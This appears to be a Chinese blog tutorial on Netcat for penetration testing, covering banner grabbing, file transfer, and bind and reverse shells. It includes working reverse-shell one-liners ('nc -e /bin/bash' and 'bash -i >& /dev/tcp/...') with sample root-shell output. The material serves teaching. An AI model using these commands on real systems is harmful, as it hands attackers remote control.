Kali Linux Netcat 学习 与 网络攻击
Netcat 网络攻击 以及 应用
1.用Netcat进行黑客攻击第1部分:基础知识
Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接。Netcat通常被称为网络工具中的瑞士军刀,我们将在使用黑客教程的不同教程中大量使用它。Netcat最常见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,我们将学习如何使用Netcat的基本功能,如:
Banner抓取 原始连接 Web服务器交互
1.1 Netcat Banner获取
使用以下命令来获取服务器Banner(与服务建立原始连接):
nc [ip address] [port]
我们来试试这个在21端口运行的Metasploitable 2上的FTP服务:
nc 192.168.1.100 21
nc [ip] [port]用于与端口进行原始连接,当可用时将返回服务器Banner。
code:
rocky@kail: nc 23.105.202.xx 21 # 21 ftp 控制链接
220 (vsFTPd 2.2.2) # 系统服务 banner
1.2 Netcat原连接
为了演示原始连接的工作原理,我们将在FTP服务连接到目标主机后发出一些FTP命令。
在匿名的情况下,我们来看看这个FTP服务器是否允许匿名访问,通过USER和PASS命令。
code:
rocky@kail: nc 23.105.202.xx 21
220 (vsFTPd 2.2.2)
user ligang
331 Please specify the password.
1.3 Web服务器交互
Netcat还可以通过发出HTTP请求与Web服务器进行交互。
通过以下命令,我们可以抓住在Metasploitable 2上运行的Web服务的Banner:
nc 23.105.202.xx 80
然后运行此HTTP请求:
HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0 << 输入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close
1.4 使用Netcat进行文件传输
在这个例子中,我们将使用Netcat连接传输一个文本文件。假设我们在目标主机上执行远程命令,我们希望将文件从攻击主机传输到目标主机。首先,我们需要在目标主机上设置一个侦听器,并从攻击主机连接到它。我们将使用端口8080用于此目的,我们将该文件安全保存到桌面:
nc -lvp 8080> 1.txt
在攻击主机上,我们连接到8080端口并发送文件名称transfer.txt:
nc 192.168.100.107 8080 < 1.txt
2 用Netcat进行黑客攻击第2部分:绑定和反向shell
Netcat反向reverse shell
在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。
在下面的内容中我们将展示使用bind shell和reverse shell。下面将使用4444端口,但请注意,这可以是任何开放端口。实际上,通常您需要使用更常见的端口,如80和443来设置反向shell,因为这些端口是更常见的打开。
NC reverse shell 工作原理:

攻击主机A执行:
nc -lvp 4444 ; 监听被攻击者链接
被攻击主机B执行:
nc xxx.xxx.xxx.xxx 4444 -e /bin/bash ; 将bash shell 权限提供给攻击者 实现控制权限的转移;
实现通信后:
在攻击主机A上执行命令,即可操作被攻击者B
缺点:
此时被攻击者B 需要使用Netcat命令, 而且普通 GNU Linux nc 并没有 -e { -e filename program to exec after connect [dangerous]} 参数; 顾此种反向链接并不适用;
2.1 使用Bash 来代替Nc实现反向链接;
被攻击主机B:
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻击者A:
nc -lvp 4444
A机代码:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835 ## 此时B机执行转移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
命令解释:
bash:
-i if the -i option is present, the shell is interactive
shell:
0/1/2 分别代表Linux标准输入,输出,异常 即 C编程中的 stdin, stdout, stderr
0>&1 指 将标准输入完全输出到标准输出中;
采用&可以将 0/1 绑定在一起。这条命令的作用标准输入将和标准输出同用一个文件描述符,说人话就是错误输入将会和标准输出输出到同一个地方。
2.2 Netcat正向bind Shell
bind shell是一个绑定到目标主机上的特定端口以监听即将到来的连接的shell。我们来看看一个Netcat正向bind shell的原理:

攻击主机A:
rocky@mac: nc 192.168.1.9 4444
id
uid=0(root) gid=0(root) groups=0(root)
echo $HOSTNAME
kailvirtual
相同点:
我们都需要被攻击者将其shell控制权限交给我们
将shell command 以数据流的形式重定向到被攻击主机的Bash shell中;
Kali Linux Netcat 学习 与 网络攻击的更多相关文章
- ApacheCN Kali Linux 译文集 20211020 更新
Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...
- 学习Kali Linux必须知道的几点
Kali Linux 在渗透测试和白帽子方面是业界领先的 Linux 发行版.默认情况下,该发行版附带了大量入侵和渗透的工具和软件,并且在全世界都得到了广泛认可.即使在那些甚至可能不知道 Linux ...
- kali linux 网络渗透测试学习笔记(一)Nmap工具进行端口扫描
一.利用Nmap扫描网站服务器的端口开放情况 首先打开我们的kali linux才做系统,再打开其命令行模式,输入:nmap www.csdn.net 如下图所示: 因此,通过这个结果可以表明csdn ...
- kali linux学习笔记之系统定制及优化(附:中文输入法设置)
fix update flash plugin on kali rolling author:@kerker 0x00设置软件源 root@kali:~# vim /etc/apt/sources.l ...
- Kali Linux渗透基础知识整理(四):维持访问
Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...
- Kali Linux——迈向网络攻防
自从进入大三的课程后,在已学的高数.线代.数论.概率论.信息论.通信等知识的技术上,开始了网络信息安全.网 络攻防的学习.俗话说得好,磨刀不误砍柴工,开始网络攻防之旅也势必要一个好的工具.然 ...
- Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016
Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1 本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...
- Kali linux渗透测试常用工具汇总1
1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...
- Kali Linux下破解WIFI密码挂载usb无线网卡的方法
Kali Linux下破解WIFI密码挂载usb无线网卡的方法 时间:2014-10-12 来源:服务器之家 投稿:root 首先我要说的是,wifi密码的破解不是想象中的那么容易,目前还 ...
随机推荐
- Windows 花屏问题
已经有2台电脑 Windows 10 系统出现花屏现象,表现为比较炫的界面出现花屏.文字显示不全.移位.闪烁等,如果点击“设置”.“开始”,Chrome浏览器等:比较平素的界面显示正常,比如资源管理器 ...
- Spring AOP中的JDK和CGLib动态代理哪个效率更高?
一.背景 今天有小伙伴面试的时候被问到:Spring AOP中JDK 和 CGLib动态代理哪个效率更高? 二.基本概念 首先,我们知道Spring AOP的底层实现有两种方式:一种是JDK动态代理, ...
- Shiro源码分析之SecurityManager对象获取
目录 SecurityManager获取过程 1.SecurityManager接口介绍 2.SecurityManager实例化时序图 3.源码分析 4.总结 @ 上篇文章Shiro源码分析之获 ...
- 【.NET Core项目实战-统一认证平台】第八章 授权篇-IdentityServer4源码分析
[.NET Core项目实战-统一认证平台]开篇及目录索引 上篇文章我介绍了如何在网关上实现客户端自定义限流功能,基本完成了关于网关的一些自定义扩展需求,后面几篇将介绍基于IdentityServer ...
- C#服务器控件 IsReadOnly 和 Visibility,IsEnable 的区别
IsReadOnly 适用于“输入.输出”类控件,比如TextBox类, 可以当做文本输入,也可以通过后台代码进行输出. 设置 IsReadOnly(只读) = true 后,该控件只允许输出,不允 ...
- c或c++利用scanf无限输入并进行简单操作如比大小等
#include <iostream> using namespace std; int main() { ; ) //scanf返回值为int类型表示成功输入的数据数量个数 { if(n ...
- C# 仿360悬浮球开发demo程序
https://files.cnblogs.com/files/wohexiaocai/%E4%BB%BF360%E5%8A%A0%E9%80%9F%E5%99%A8.zip
- spring学习总结——装配Bean学习三(xml装配bean)
通过XML装配bean Spring现在有了强大的自动化配置和基于Java的配置,XML不应该再是你的第一选择了.不过,鉴于已经存在那么多基于XML的Spring配置,所以理解如何在Spring中使用 ...
- Linux LVM学习总结——Insufficient Free Extents for a Logical Volume
如下所示,在创建LV的时候,偶尔会遇到"Volume group "xxxx" has insufficient free space (xxxx extents): x ...
- iOS 常用三方(持续更新)
iOS 常用三方 1.ZWMSegmentController 分页控制器 https://github.com/weiming4219/ZWMSegmentController